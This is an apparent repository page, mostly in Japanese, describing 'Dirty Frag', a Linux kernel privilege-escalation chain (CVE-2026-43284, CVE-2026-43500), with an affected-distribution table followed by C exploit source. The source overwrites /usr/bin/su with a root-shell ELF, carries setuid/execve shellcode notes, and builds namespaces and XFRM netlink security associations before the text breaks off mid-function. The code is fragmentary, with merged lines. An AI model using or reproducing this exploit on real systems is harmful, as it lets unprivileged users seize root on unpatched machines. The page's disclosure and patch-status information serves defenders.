lucaspdiniz/cve-2026-43284Dirty Frag - Linuxカーネルの重大な脆弱性
Local Privilege Escalation (LPE) に分類されるこのエクスプロイトチェーンは、特権を持たないユーザーが、2017年以降にリリースされたカーネル（約9年間のバージョンに相当）を実行する事実上すべての最新のLinuxディストリビューション上でrootアクセスを取得することを可能にします。このエクスプロイトは、esp4、esp6、およびrxrpcモジュールのインプレース復号パスを操作し、splice(2)やsendmsg(2)などの標準的なシステムコールを通じてカーネルページキャッシュを破損します。ユーザーの操作やリモート攻撃ベクトルは必要ありません。
2つの構成要素となる脆弱性は以下の通りです：
xfrm-ESP Page-Cache Write - CVE-2026-43284、IPsec ESP入力パスにおける脆弱性。2026年5月7日にnetdevツリーにマージされ、2026年5月8日にコミット f4c50a4034e6（新しいタブで開く）としてメインラインに受け入れられました。
RxRPC Page-Cache Write - CVE-2026-43500（予約済み）、AFS RxRPC検証パスにおける脆弱性。開示時点では、どのツリーにもパッチは存在しません。
| ディストリビューション | 影響を受けるバージョン | CVE-2026-43284 (ESP) | CVE-2026-43500 (RxRPC) | パッチステータス |
|---|---|---|---|---|
| RHEL | 8, 9, 10 | ✅ 影響あり | ✅ 影響あり | パッチ適用済み |
| AlmaLinux | 8, 9, 10 | ✅ 影響あり | ⚠️ 9および10のみ¹ | パッチ適用済み |
| Rocky Linux | 8, 9, 10 | ✅ 影響あり | ✅ 影響あり | パッチ適用済み |
| CentOS | 8 | ✅ 影響あり | ✅ 影響あり | パッチ適用済み |
| CloudLinux | 7 Hybrid, 8, 9, 10 | ✅ 影響あり | ✅ 影響あり | パッチ適用済み |
| Oracle Linux | RHCK / UEK 影響あり | ✅ 影響あり | ✅ 影響あり | パッチ適用済み |
| Ubuntu | 20.04, 22.04, 24.04 | ✅ 影響あり | ✅ 影響あり | パッチ適用済み |
| Debian | Bullseye, Bookworm, Trixie | ✅ 影響あり | ✅ 影響あり | パッチ適用済み（sidが先） |
| Fedora | 現在のリリース | ✅ 影響あり | ✅ 影響あり | パッチ適用済み |
| Arch Linux | ローリングリリース | ✅ 影響あり | ✅ 影響あり | パッチ適用済み |
| Amazon Linux | 2, 2023 | ✅ 影響あり | ✅ 影響あり | パッチ適用済み |
| Proxmox VE | 現在のリリース | ✅ 影響あり | ✅ 影響あり | パッチ適用済み |
影響を受ける範囲：Linuxカーネル ≥ 4.14（2017年1月以降）・全主要ディストリビューション・リモートベクトルなし CVSS 3.1：8.8 HIGH（CVE-2026-43284）・開示日：2026年5月7日・ゼロデイPoC公開 研究者：Hyunwoo Kim（@v4bel）
#ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif
#define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] / #define PAYLOAD_LEN 192 / bytes of shell_elf to write (48 triggers) / #define ENTRY_OFFSET 0x78 / shellcode entry inside the new ELF */
/*
setgid(0); setuid(0); setgroups(0, NULL);
execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##VA_ARGS); } while (0)
static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; }
static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); }
static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); }
static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk < 0) return -1; struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }
char buf[4096] = {0};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
nlh->nlmsg_type = XFRM_MSG_NEWSA;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_seq = 1;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));